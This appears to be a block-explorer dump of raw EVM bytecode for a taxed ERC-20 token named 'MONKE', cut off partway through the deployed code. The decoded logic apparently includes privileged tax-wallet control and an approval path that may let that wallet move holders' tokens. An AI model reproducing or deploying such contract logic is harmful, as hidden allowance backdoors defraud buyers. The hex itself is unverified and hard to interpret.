673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061132e6112e28284611efe90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f4790919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113d18486611efe90919063ffffffff16565b6040516113de91906125e2565b60405180910390a350505050565b5f838311158290611433576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142a91906124a4565b60405180910390fd5b505f83856114419190612e74565b9050809150509392505050565b6001601660156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561148557611484612ea7565b5b6040519080825280602002602001820160405280156114b35781602001602082028036833780820191505090505b50905030815f815181106114ca576114c9612ed4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561156e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061159291906129db565b816001815181106115a6576115a5612ed4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061160c3060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f39565b5060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161166f959493929190612fb8565b5f604051808303815f87803b158015611686575f80fd5b505af1158015611698573d5f803e3d5ffd5b50505050505f601660156101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561171e573d5f803e3d5ffd5b5050565b5f8061172e8584611fa4565b90505f905061173b610804565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156117a95750611779610804565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611802575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561183a57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561187257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611dba5760045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611915575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b61191d575f80fd5b5f600e5403611965576119626064611954600a54600e541161194157600654611945565b6008545b8661202490919063ffffffff16565b61209b90919063ffffffff16565b90505b5f600e54111561199a576119976064611989600d548661202490919063ffffffff16565b61209b90919063ffffffff16565b90505b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611a43575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a96575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611bbe57601154831115611ae0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad79061305a565b60405180910390fd5b60125483611aed8661066a565b611af79190613078565b1115611b38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2f906130f5565b60405180910390fd5b611b746064611b66600a54600e5411611b5357600654611b57565b6008545b8661202490919063ffffffff16565b61209b90919063ffffffff16565b9050600e5f815480929190611b8890613113565b919050555043600f5414611ba5575f60108190555043600f819055505b8260105f828254611bb69190613078565b925050819055505b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611c4657503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611ce257611c536120e4565b6010541080611c64575043600f5414155b611ca3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9a906131a4565b60405180910390fd5b611cdf6064611cd1600b54600e5411611cbe57600754611cc2565b6009545b8661202490919063ffffffff16565b61209b90919063ffffffff16565b90505b5f611cec3061066a565b9050601660159054906101000a900460ff16158015611d57575060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015611d6d575060168054906101000a900460ff165b8015611d7c5750600c54600e54115b15611db857601354811115611da957611da8611da385611d9e84601454612328565b612328565b61144e565b5b5f479050611db6816116ba565b505b505b809150509392505050565b5f811115611ec457611e1d8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f4790919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ebb91906125e2565b60405180910390a35b611ecd83612340565b158015611edf5750611ede8461237a565b5b15611ef857611ef684611ef0610f32565b84610f39565b505b50505050565b5f611f3f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113ec565b905092915050565b5f808284611f559190613078565b905083811015611f9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f919061320c565b60405180910390fd5b8091505092915050565b5f8033905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361201c57612008848285610f39565b612012575f612014565b825b91505061201e565b505b92915050565b5f808303612034575f9050612095565b5f828461204191906128b6565b90508284826120509190613257565b14612090576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612087906132f7565b60405180910390fd5b809150505b92915050565b5f6120dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123d3565b905092915050565b5f80600267ffffffffffffffff81111561210157612100612ea7565b5b60405190808252806020026020018201604052801561212f5781602001602082028036833780820191505090505b50905060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561219c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906121c091906129db565b815f815181106121d3576121d2612ed4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061222257612221612ed4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f6729a2241af62c0000846040518363ffffffff1660e01b81526004016122c192919061334e565b5f60405180830381865afa1580156122db573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f82011682018060405250810190612303919061348f565b90508060018151811061231957612318612ed4565b5b60200260200101519250505090565b5f8183116123365782612338565b815b905092915050565b5f61dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614159050919050565b5f60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614159050919050565b5f8083118290612419576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241091906124a4565b60405180910390fd5b505f83856124279190613257565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61247682612434565b612480818561243e565b935061249081856020860161244e565b6124998161245c565b840191505092915050565b5f6020820190508181035f8301526124bc818461246c565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6124fe826124d5565b9050919050565b61250e816124f4565b8114612518575f80fd5b50565b5f8135905061252981612505565b92915050565b5f819050919050565b6125418161252f565b811461254b575f80fd5b50565b5f8135905061255c81612538565b92915050565b5f8060408385031215612578576125776124cd565b5b5f6125858582860161251b565b92505060206125968582860161254e565b9150509250929050565b5f8115159050919050565b6125b4816125a0565b82525050565b5f6020820190506125cd5f8301846125ab565b92915050565b6125dc8161252f565b82525050565b5f6020820190506125f55f8301846125d3565b92915050565b5f805f60608486031215612612576126116124cd565b5b5f61261f8682870161251b565b93505060206126308682870161251b565b92505060406126418682870161254e565b9150509250925092565b5f60ff82169050919050565b6126608161264b565b82525050565b5f6020820190506126795f830184612657565b92915050565b5f60208284031215612694576126936124cd565b5b5f6126a18482850161251b565b91505092915050565b6126b3816124f4565b82525050565b5f6020820190506126cc5f8301846126aa565b92915050565b5f80604083850312156126e8576126e76124cd565b5b5f6126f58582860161251b565b92505060206127068582860161251b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156127925780860481111561276e5761276d612710565b5b600185161561277d5780820291505b808102905061278b8561273d565b9450612752565b94509492505050565b5f826127aa5760019050612865565b816127b7575f9050612865565b81600181146127cd57600281146127d757612806565b6001915050612865565b60ff8411156127e9576127e8612710565b5b8360020a915084821115612800576127ff612710565b5b50612865565b5060208310610133831016604e8410600b841016171561283b5782820a90508381111561283657612835612710565b5b612865565b6128488484846001612749565b9250905081840481111561285f5761285e612710565b5b81810290505b9392505050565b5f6128768261252f565b91506128818361264b565b92506128ae7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461279b565b905092915050565b5f6128c08261252f565b91506128cb8361252f565b92508282026128d98161252f565b915082820484148315176128f0576128ef612710565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61292b60208361243e565b9150612936826128f7565b602082019050919050565b5f6020820190508181035f8301526129588161291f565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61299360178361243e565b915061299e8261295f565b602082019050919050565b5f6020820190508181035f8301526129c081612987565b9050919050565b5f815190506129d581612505565b92915050565b5f602082840312156129f0576129ef6124cd565b5b5f6129fd848285016129c7565b91505092915050565b5f604082019050612a195f8301856126aa565b612a2660208301846126aa565b9392505050565b5f819050919050565b5f819050919050565b5f612a59612a54612a4f84612a2d565b612a36565b61252f565b9050919050565b612a6981612a3f565b82525050565b5f60c082019050612a825f8301896126aa565b612a8f60208301886125d3565b612a9c6040830187612a60565b612aa96060830186612a60565b612ab660808301856126aa565b612ac360a08301846125d3565b979650505050505050565b5f81519050612adc81612538565b92915050565b5f805f60608486031215612af957612af86124cd565b5b5f612b0686828701612ace565b9350506020612b1786828701612ace565b9250506040612b2886828701612ace565b9150509250925092565b5f604082019050612b455f8301856126aa565b612b5260208301846125d3565b9392505050565b612b62816125a0565b8114612b6c575f80fd5b50565b5f81519050612b7d81612b59565b92915050565b5f60208284031215612b9857612b976124cd565b5b5f612ba584828501612b6f565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612c0860248361243e565b9150612c1382612bae565b604082019050919050565b5f6020820190508181035f830152612c3581612bfc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612c9660228361243e565b9150612ca182612c3c565b604082019050919050565b5f6020820190508181035f830152612cc381612c8a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612d2460258361243e565b9150612d2f82612cca565b604082019050919050565b5f6020820190508181035f830152612d5181612d18565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612db260238361243e565b9150612dbd82612d58565b604082019050919050565b5f6020820190508181035f830152612ddf81612da6565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612e4060298361243e565b9150612e4b82612de6565b604082019050919050565b5f6020820190508181035f830152612e6d81612e34565b9050919050565b5f612e7e8261252f565b9150612e898361252f565b9250828203905081811115612ea157612ea0612710565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612f33816124f4565b82525050565b5f612f448383612f2a565b60208301905092915050565b5f602082019050919050565b5f612f6682612f01565b612f708185612f0b565b9350612f7b83612f1b565b805f5b83811015612fab578151612f928882612f39565b9750612f9d83612f50565b925050600181019050612f7e565b5085935050505092915050565b5f60a082019050612fcb5f8301886125d3565b612fd86020830187612a60565b8181036040830152612fea8186612f5c565b9050612ff960608301856126aa565b61300660808301846125d3565b9695505050505050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f61304460198361243e565b915061304f82613010565b602082019050919050565b5f6020820190508181035f83015261307181613038565b9050919050565b5f6130828261252f565b915061308d8361252f565b92508282019050808211156130a5576130a4612710565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f6130df601a8361243e565b91506130ea826130ab565b602082019050919050565b5f6020820190508181035f83015261310c816130d3565b9050919050565b5f61311d8261252f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361314f5761314e612710565b5b600182019050919050565b7f4d61782053776170204c696d69740000000000000000000000000000000000005f82015250565b5f61318e600e8361243e565b91506131998261315a565b602082019050919050565b5f6020820190508181035f8301526131bb81613182565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6131f6601b8361243e565b9150613201826131c2565b602082019050919050565b5f6020820190508181035f830152613223816131ea565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6132618261252f565b915061326c8361252f565b92508261327c5761327b61322a565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132e160218361243e565b91506132ec82613287565b604082019050919050565b5f6020820190508181035f83015261330e816132d5565b9050919050565b5f819050919050565b5f61333861333361332e84613315565b612a36565b61252f565b9050919050565b6133488161331e565b82525050565b5f6040820190506133615f83018561333f565b81810360208301526133738184612f5c565b90509392505050565b5f80fd5b6133898261245c565b810181811067ffffffffffffffff821117156133a8576133a7612ea7565b5b80604052505050565b5f6133ba6124c4565b90506133c68282613380565b919050565b5f67ffffffffffffffff8211156133e5576133e4612ea7565b5b602082029050602081019050919050565b5f80fd5b5f61340c613407846133cb565b6133b1565b9050808382526020820190506020840283018581111561342f5761342e6133f6565b5b835b8181101561345857806134448882612ace565b845260208401935050602081019050613431565b5050509392505050565b5f82601f8301126134765761347561337c565b5b81516134868482602086016133fa565b91505092915050565b5f602082840312156134a4576134a36124cd565b5b5f82015167ffffffffffffffff8111156134c1576134c06124d1565b5b6134cd84828501613462565b9150509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220da88b3f75bcf1f3f8f1229a70c8209ed5d24358adc86270f685c8333e391bd5b64736f6c634300081a0033
Deployed Bytecode
0x608060405260043610610117575f3560e01c80637d1db4a51161009f578063bf474bed11610063578063bf474bed1461038e578063dd62ed3e146103b8578063ea414b28146103f4578063fb201b1d1461041c578063ffb54a99146104325761011e565b80637d1db4a5146102aa5780638da5cb5b146102d45780638f9a55c0146102fe57806395d89b4114610328578063a9059cbb146103525761011e565b806323b872dd116100e657806323b872dd146101dc578063313ce5671461021857806351bc3c851461024257806370a0823114610258578063715018a6146102945761011e565b806306fdde0314610122578063095ea7b31461014c5780630faee56f1461018857806318160ddd146101b25761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b5061013661045c565b60405161014391906124a4565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d9190612562565b610499565b60405161017f91906125ba565b60405180910390f35b348015610193575f80fd5b5061019c6104b7565b6040516101a991906125e2565b60405180910390f35b3480156101bd575f80fd5b506101c66104bd565b6040516101d391906125e2565b60405180910390f35b3480156101e7575f80fd5b5061020260048036038101906101fd91906125fb565b6104e0565b60405161020f91906125ba565b60405180910390f35b348015610223575f80fd5b5061022c6105b5565b6040516102399190612666565b60405180910390f35b34801561024d575f80fd5b506102566105bd565b005b348015610263575f80fd5b5061027e6004803603810190610279919061267f565b61066a565b60405161028b91906125e2565b60405180910390f35b34801561029f575f80fd5b506102a86106b0565b005b3480156102b5575f80fd5b506102be6107fe565b6040516102cb91906125e2565b60405180910390f35b3480156102df575f80fd5b506102e8610804565b6040516102f591906126b9565b60405180910390f35b348015610309575f80fd5b5061031261082b565b60405161031f91906125e2565b60405180910390f35b348015610333575f80fd5b5061033c610831565b60405161034991906124a4565b60405180910390f35b34801561035d575f80fd5b5061037860048036038101906103739190612562565b61086e565b60405161038591906125ba565b60405180910390f35b348015610399575f80fd5b506103a261088b565b6040516103af91906125e2565b60405180910390f35b3480156103c3575f80fd5b506103de60048036038101906103d991906126d2565b610891565b6040516103eb91906125e2565b60405180910390f35b3480156103ff575f80fd5b5061041a6004803603810190610415919061267f565b610913565b005b348015610427575f80fd5b506104306109a8565b005b34801561043d575f80fd5b50610446610f1f565b60405161045391906125ba565b60405180910390f35b60606040518060400160405280600581526020017f4d4f4e4b45000000000000000000000000000000000000000000000000000000815250905090565b5f6104ac6104a5610f32565b8484610f39565b506001905092915050565b60145481565b5f6009600a6104cc919061286c565b633b9aca006104db91906128b6565b905090565b5f6104ec848484611103565b6105a9846104f8610f32565b6105a4856040518060600160405280602881526020016134d76028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61055b610f32565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113ec9092919063ffffffff16565b610f39565b50600190509392505050565b5f6009905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105fd610f32565b73ffffffffffffffffffffffffffffffffffffffff161461061c575f80fd5b5f6106263061066a565b90505f81118015610641575060168054906101000a900460ff165b156106505761064f8161144e565b5b5f4790505f81111561066657610665816116ba565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106b8610f32565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073b90612941565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600581526020017f4d4f4e4b45000000000000000000000000000000000000000000000000000000815250905090565b5f61088161087a610f32565b8484611103565b6001905092915050565b60135481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610965575f80fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6109b0610f32565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3390612941565b60405180910390fd5b601660149054906101000a900460ff1615610a8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a83906129a9565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b283060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610b14919061286c565b633b9aca00610b2391906128b6565b610f39565b5060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b93573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bb791906129db565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c3d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c6191906129db565b6040518363ffffffff1660e01b8152600401610c7e929190612a06565b6020604051808303815f875af1158015610c9a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cbe91906129db565b60165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d453061066a565b5f80610d4f610804565b426040518863ffffffff1660e01b8152600401610d7196959493929190612a6f565b60606040518083038185885af1158015610d8d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610db29190612ae2565b50505060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e52929190612b32565b6020604051808303815f875af1158015610e6e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e929190612b83565b5060016016806101000a81548160ff0219169083151502179055506001601660146101000a81548160ff021916908315150217905550610ed0610804565b73ffffffffffffffffffffffffffffffffffffffff167ff9ca0f11181041c16343c0e2d0e0c3cf66188e39b033ab29e2fe6f0f84374a3642604051610f1591906125e2565b60405180910390a2565b601660149054906101000a900460ff1681565b5f33905090565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610fa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9f90612c1e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611016576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100d90612cac565b60405180910390fd5b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516110f091906125e2565b60405180910390a3600190509392505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611171576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116890612d3a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d690612dc8565b60405180910390fd5b5f8111611221576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121890612e56565b60405180910390fd5b5f61122d848484611722565b905061123b84848484611dc5565b61128b8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611efe90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061132e6112e28284611efe90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f4790919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113d18486611efe90919063ffffffff16565b6040516113de91906125e2565b60405180910390a350505050565b5f838311158290611433576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142a91906124a4565b60405180910390fd5b505f83856114419190612e74565b9050809150509392505050565b6001601660156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561148557611484612ea7565b5b6040519080825280602002602001820160405280156114b35781602001602082028036833780820191505090505b50905030815f815181106114ca576114c9612ed4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561156e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061159291906129db565b816001815181106115a6576115a5612ed4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061160c3060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f39565b5060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161166f959493929190612fb8565b5f604051808303815f87803b158015611686575f80fd5b505af1158015611698573d5f803e3d5ffd5b50505050505f601660156101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561171e573d5f803e3d5ffd5b5050565b5f8061172e8584611fa4565b90505f905061173b610804565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156117a95750611779610804565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611802575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561183a57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561187257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611dba5760045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611915575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b61191d575f80fd5b5f600e5403611965576119626064611954600a54600e541161194157600654611945565b6008545b8661202490919063ffffffff16565b61209b90919063ffffffff16565b90505b5f600e54111561199a576119976064611989600d548661202490919063ffffffff16565b61209b90919063ffffffff16565b90505b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611a43575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a96575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611bbe57601154831115611ae0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad79061305a565b60405180910390fd5b60125483611aed8661066a565b611af79190613078565b1115611b38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2f906130f5565b60405180910390fd5b611b746064611b66600a54600e5411611b5357600654611b57565b6008545b8661202490919063ffffffff16565b61209b90919063ffffffff16565b9050600e5f815480929190611b8890613113565b919050555043600f5414611ba5575f60108190555043600f819055505b8260105f828254611bb69190613078565b925050819055505b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffff